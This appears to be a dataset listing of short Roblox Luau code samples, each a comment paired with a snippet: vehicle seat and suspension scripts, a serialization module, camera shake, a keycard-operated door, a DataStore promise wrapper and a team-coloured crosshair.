script.Parent.Values.Cruise.Value = false
else
script.Parent.Values.Cruise.Value = true
end
end)
|
---------------------------------------------------------------
|
function onChildAdded(something)
if something.Name == "SeatWeld" then
local human = something.part1.Parent:findFirstChild("Humanoid")
if (human ~= nil) then
script.Parent.Parent.Parent.RWD.Anchored = false
wait(.5)
script.Parent.Parent.Parent.lightbar1.middle.Yelp:Stop()
script.Parent.Parent.Parent.lightbar1.middle.Wail:Stop()
script.Parent.Parent.Parent.lightbar1.middle.Manual:Stop()
end
end
end
function onChildRemoved(something)
if (something.Name == "SeatWeld") then
local human = something.part1.Parent:findFirstChild("Humanoid")
if (human ~= nil) then
print("Human Found")
script.Parent.Parent.Parent.RWD.Anchored = true
wait(.2)
script.Parent.Parent.Parent.lightbar1.middle.Yelp:Stop()
script.Parent.Parent.Parent.lightbar1.middle.Wail:Stop()
script.Parent.Parent.Parent.lightbar1.middle.Manual:Stop()
end
end
end
script.Parent.ChildAdded:connect(onChildAdded)
script.Parent.ChildRemoved:connect(onChildRemoved)
|
--[[
Ser is a serialization/deserialization utility module that is used
by Knit to automatically serialize/deserialize values passing
through remote functions and remote events.
Ser.Classes = {
[ClassName] = {
Serialize = (value) -> serializedValue
Deserialize = (value) => deserializedValue
}
}
Ser.SerializeArgs(...) -> table
Ser.SerializeArgsAndUnpack(...) -> Tuple
Ser.DeserializeArgs(...) -> table
Ser.DeserializeArgsAndUnpack(...) -> Tuple
Ser.Serialize(value: any) -> any
Ser.Deserialize(value: any) -> any
Ser.UnpackArgs(args: table) -> Tuple
--]]
|
type Args = {
n: number,
[any]: any,
}
local Option = require(script.Parent.Option)
local Ser = {}
Ser.Classes = {
Option = {
Serialize = function(opt) return opt:Serialize() end;
Deserialize = Option.Deserialize;
};
}
function Ser.SerializeArgs(...: any): Args
local args = table.pack(...)
for i,arg in ipairs(args) do
if type(arg) == "table" then
local ser = Ser.Classes[arg.ClassName]
if ser then
args[i] = ser.Serialize(arg)
end
end
end
return args
end
function Ser.SerializeArgsAndUnpack(...: any): ...any
local args = Ser.SerializeArgs(...)
return table.unpack(args, 1, args.n)
end
function Ser.DeserializeArgs(...: any): Args
local args = table.pack(...)
for i,arg in ipairs(args) do
if type(arg) == "table" then
local ser = Ser.Classes[arg.ClassName]
if ser then
args[i] = ser.Deserialize(arg)
end
end
end
return args
end
function Ser.DeserializeArgsAndUnpack(...: any): ...any
local args = Ser.DeserializeArgs(...)
return table.unpack(args, 1, args.n)
end
function Ser.Serialize(value: any): any
if type(value) == "table" then
local ser = Ser.Classes[value.ClassName]
if ser then
value = ser.Serialize(value)
end
end
return value
end
function Ser.Deserialize(value: any): any
if type(value) == "table" then
local ser = Ser.Classes[value.ClassName]
if ser then
value = ser.Deserialize(value)
end
end
return value
end
function Ser.UnpackArgs(args: Args): ...any
return table.unpack(args, 1, args.n)
end
return Ser
|
-- Connections
-- Set initial level and progress
|
Level.Text = upgrades.Value
ProgressBarContainer.Position = UDim2.fromScale(-1 + math.min(1,
points.Value % GameSettings.upgradeCost(upgrades.Value) / 3), 0)
ProgressBarFill.Position = UDim2.fromScale(1 - math.min(1,
points.Value % GameSettings.upgradeCost(upgrades.Value) / 3), 0)
|
--remove any of the following parts that say "(parts[i].className == [className])" if you want to exclude that particular className type from the Weld
|
if ((parts[i].className == "Part") or (parts[i].className == "Seat") or (parts[i].className == "TrussPart") or (parts[i].className == "VehicleSeat") or (parts[i].className == "SkateboardPlatform")) then
if (prev ~= nil) then
local weld = Instance.new("Weld")
weld.Part0 = prev
weld.Part1 = parts[i]
weld.C0 = prev.CFrame:inverse()
weld.C1 = parts[i].CFrame:inverse()
weld.Parent = prev
parts[i].Anchored = false
end
prev = parts[i]
end
end
wait(3)
|
-- Simulate camera shake (not great, but works well enough for this):
|
local function GetCameraShake()
local dragAngle = Angle(seat.CFrame.lookVector, seat.Velocity)
local speed = seat.Velocity.Magnitude
local shakeMagnitude = (speed * 0.02) * dragAngle * 0.1
local theta = RAND() * TAU
local x = COS(theta) * shakeMagnitude
local y = SIN(theta) * shakeMagnitude
-- ^
-- THE STARS ALIGN ^ DUN DUN DUN
-- ^
return V3(x, y, 0)
end
local function GetCameraRotation()
-- Relative rotational velocity:
dampCam.Goal = -seat.CFrame:vectorToObjectSpace(seat.RotVelocity) * 0.1
local relRotVel = dampCam:Update()
-- Camera shake offset:
dampShake.Goal = GetCameraShake()
local shake = CF(dampShake:Update())
-- User view rotation:
local viewRotation = dampRot:Update()
viewRotation = ANG(0, viewRotation.X, 0) * ANG(viewRotation.Y, 0, 0)
return ANG(0, 0, mobileDeviceBank) * viewRotation * ANG(relRotVel.X, relRotVel.Y, relRotVel.Z) * shake
end
|
--[[
Indent a potentially multi-line string with the given number of tabs, in
addition to any indentation the string already has.
]]
|
local function indent(source, indentLevel)
local indentString = ("\t"):rep(indentLevel)
return indentString .. source:gsub("\n", "\n" .. indentString)
end
|
-- Hook events
|
Entry.TextBox.FocusLost:Connect(function(submit)
return Window:LoseFocus(submit)
end)
UserInputService.InputBegan:Connect(function(input, gameProcessed)
return Window:BeginInput(input, gameProcessed)
end)
Entry.TextBox:GetPropertyChangedSignal("Text"):Connect(function()
Gui.CanvasPosition = Vector2.new(0, Gui.AbsoluteCanvasSize.Y)
if string.match(Entry.TextBox.Text, '\t') then -- Eat \t
Entry.TextBox.Text = Entry.TextBox.Text:gsub("\t", "")
return
end
if Window.OnTextChanged then
return Window.OnTextChanged(Entry.TextBox.Text)
end
end)
Gui.ChildAdded:Connect(function()
task.defer(Window.UpdateWindowHeight)
end)
return Window
|
--[=[
Prepends the value onto the emitted brio
@since 3.6.0
@param ... T
@return (source: Observable<Brio<U>>) -> Observable<Brio<U | T>>
]=]
|
function RxBrioUtils.prepend(...)
local args = table.pack(...)
return Rx.map(function(brio)
assert(Brio.isBrio(brio), "Bad brio")
return BrioUtils.prepend(brio, table.unpack(args, 1, args.n))
end)
end
|
--"False" = Not Acceptable Keycard To Open. "True" = Acceptable Keycard To Open.--
|
local bool = true
local bool2 = true
local clearance = {
["[SCP] Card-Omni"] = true,
["[SCP] Card-L5"] = false,
["[SCP] Card-L4"] = false,
["[SCP] Card-L3"] = false,
["[SCP] Card-L2"] = false,
["[SCP] Card-L1"] = false
}
--DO NOT EDIT BEYOND THIS LINE--
local LeftDoor = script.Parent
local RightDoor = script.Parent.Parent.RightDoor
local Open = false
local OpenSound = script.Parent.DoorOpen
local CloseSound = script.Parent.DoorClose
local Debounce = false
function openDoor()
if not Debounce then
Debounce = true
if Open then
Open = false
CloseSound:Play()
Spawn(function()
for i = 1, 60 do
LeftDoor.CFrame = LeftDoor.CFrame + (LeftDoor.CFrame.lookVector * 0.1)
wait(0.05)
end
end)
Spawn(function()
for i = 1, 60 do
RightDoor.CFrame = RightDoor.CFrame + (RightDoor.CFrame.lookVector * 0.1)
wait(0.05)
end
end)
else
Open = true
OpenSound:Play()
Spawn(function()
for i = 1, 60 do
LeftDoor.CFrame = LeftDoor.CFrame - (LeftDoor.CFrame.lookVector * 0.1)
wait(0.05)
end
end)
Spawn(function()
for i = 1, 60 do
RightDoor.CFrame = RightDoor.CFrame - (RightDoor.CFrame.lookVector * 0.1)
wait(0.05)
end
end)
end
wait(2.5)
Debounce = false
end
end
script.Parent.Parent.KeycardReader1.touched:connect(function(touch)
if touch.Name == "Handle" and clearance[touch.Parent.Name] and bool then
bool = false
script.Parent.AccessGranted:play()
wait(0.75)
openDoor()
wait(3)
bool = true
elseif touch.Name == "Handle" and not clearance[touch.Parent.Name] and bool2 then
bool2 = false
script.Parent.AccessDenied:play()
wait(1)
bool2 = true
end
end)
script.Parent.Parent.KeycardReader2.touched:connect(function(touch)
if touch.Name == "Handle" and clearance[touch.Parent.Name] and bool then
bool = false
script.Parent.AccessGranted:play()
wait(0.75)
openDoor()
wait(3)
bool = true
elseif touch.Name == "Handle" and not clearance[touch.Parent.Name] and bool2 then
bool2 = false
script.Parent.AccessDenied:play()
wait(1)
bool2 = true
end
end)
|
-- Given diffs from expected and received strings,
-- return new array of diffs split or joined into lines.
--
-- To correctly align a change line at the end, the algorithm:
-- * assumes that a newline was appended to the strings
-- * omits the last newline from the output array
--
-- Assume the function is not called:
-- * if either expected or received is empty string
-- * if neither expected nor received is multiline string
|
return function(diffs: Array<Diff>, changeColor: DiffOptionsColor): Array<Diff>
local deleteBuffer = ChangeBuffer.new(DIFF_DELETE, changeColor)
local insertBuffer = ChangeBuffer.new(DIFF_INSERT, changeColor)
-- ROBLOX FIXME Luau: another issue with normalization: Property 'deleteBuffer' is not compatible
local commonBuffer = CommonBuffer.new(deleteBuffer, insertBuffer) :: any
for _, diff in ipairs(diffs) do
local case = diff[1]
if case == DIFF_DELETE then
deleteBuffer:align(diff)
elseif case == DIFF_INSERT then
insertBuffer:align(diff)
else
commonBuffer:align(diff)
end
end
return commonBuffer:getLines()
end
|
--[[Susupension]]
|
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 300 -- Spring Dampening
Tune.FSusStiffness = 4000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 2 -- Suspension length (in studs)
Tune.FPreCompress = .7 -- Pre-compression adds resting length force
Tune.FExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.FCompressLim = .1 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 300 -- Spring Dampening
Tune.RSusStiffness = 4000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 2 -- Suspension length (in studs)
Tune.RPreCompress = .7 -- Pre-compression adds resting length force
Tune.RExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.RCompressLim = .1 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = true -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Bright red" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
--[=[
Wraps :UpdateAsync() in a promise
@param robloxDataStore DataStore
@param key string
@param updateFunc (T) -> T?
@return Promise<boolean>
]=]
|
function DataStorePromises.updateAsync(robloxDataStore, key, updateFunc)
assert(typeof(robloxDataStore) == "Instance", "Bad robloxDataStore")
assert(type(key) == "string", "Bad key")
assert(type(updateFunc) == "function", "Bad updateFunc")
return Promise.spawn(function(resolve, reject)
local result = nil
local ok, err = pcall(function()
result = { robloxDataStore:UpdateAsync(key, updateFunc) }
end)
if not ok then
return reject(err)
end
if not result then
return reject("No result loaded")
end
return resolve(unpack(result))
end)
end
|
-- [ SETTINGS ] --
|
local StatsName = "Gems" -- Your stats name
local MaxItems = 25 -- Max number of items to be displayed on the leaderboard
local MinValueDisplay = 1 -- Any numbers lower than this will be excluded
local MaxValueDisplay = 10e15 -- (10 ^ 15) Any numbers higher than this will be excluded
local UpdateEvery = 65 -- (in seconds) How often the leaderboard has to update
|
--[=[
Utility functions to ensure that content is preloaded (wrapping calls in promises)
@class ContentProviderUtils
]=]
|
local require = require(script.Parent.loader).load(script)
local ContentProvider = game:GetService("ContentProvider")
local Promise = require("Promise")
local ContentProviderUtils = {}
|
-- Mouse
|
Mouse.Move:connect(function()
gui.FakeC.Position = UDim2.new(0,Mouse.x-gui.FakeC.Size.X.Offset/2,0,Mouse.y-gui.FakeC.Size.Y.Offset/2)
if Mouse.Target then
if game.Players:FindFirstChild(Mouse.Target.Parent.Name) and Mouse.Target.Parent.Name ~= plr.Name then
if game.Players[Mouse.Target.Parent.Name].TeamColor == plr.TeamColor then
gui.FakeC.BackgroundColor3 = Color3.fromRGB(0,255,0)
else
gui.FakeC.BackgroundColor3 = Color3.fromRGB(255,0,0)
end
elseif game.Players:FindFirstChild(Mouse.Target.Parent.Parent.Name) and Mouse.Target.Parent.Parent.Name ~= plr.Name then
if game.Players[Mouse.Target.Parent.Parent.Name].TeamColor == plr.TeamColor then
gui.FakeC.BackgroundColor3 = Color3.fromRGB(0,255,0)
else
gui.FakeC.BackgroundColor3 = Color3.fromRGB(255,0,0)
end
elseif Mouse.Target.Parent:FindFirstChild("HumanoidLink") and Mouse.Target.Parent.HumanoidLink.Value.Parent.Name ~= plr.Name then
if game.Players[Mouse.Target.Parent.HumanoidLink.Value.Parent.Name].TeamColor == plr.TeamColor then
gui.FakeC.BackgroundColor3 = Color3.fromRGB(0,255,0)
else
gui.FakeC.BackgroundColor3 = Color3.fromRGB(255,0,0)
end
else
gui.FakeC.BackgroundColor3 = Color3.fromRGB(255,255,255)
end
end
end)
local UserInputService = game:GetService("UserInputService")
UserInputService.InputBegan:connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton3 then
if script.Parent.MainGui.FakeC.Size == UDim2.new(0,4,0,4) then
script.Parent.MainGui.FakeC.Size = UDim2.new(0,2,0,2)
else
script.Parent.MainGui.FakeC.Size = UDim2.new(0,4,0,4)
end
gui.FakeC.Position = UDim2.new(0,Mouse.x-gui.FakeC.Size.X.Offset/2,0,Mouse.y-gui.FakeC.Size.Y.Offset/2)
end
end)
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.